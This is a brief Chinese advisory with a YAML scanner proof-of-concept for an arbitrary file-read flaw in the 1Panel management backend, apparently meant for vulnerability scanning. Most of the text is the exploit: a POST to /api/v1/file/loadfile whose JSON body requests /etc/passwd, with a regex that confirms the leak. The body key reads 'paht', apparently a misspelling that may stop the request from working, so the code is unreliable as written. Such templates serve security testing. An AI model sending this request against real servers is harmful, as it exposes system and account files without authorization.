漏洞描述
1Panel后台存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感信息文件
id: 1panel-loadfile-fileread
info:
name: 1Panel loadfile 后台文件读取漏洞
author: peiqi
severity: high
verified: true
description: |
1Panel后台存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感信息文件
tags: 1panel,fileread
created: 2023/08/15
rules:
r0:
request:
method: POST
path: /api/v1/file/loadfile
headers:
Content-Type: application/json; charset=utf-8
body: |
{"paht":"/etc/passwd"}
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()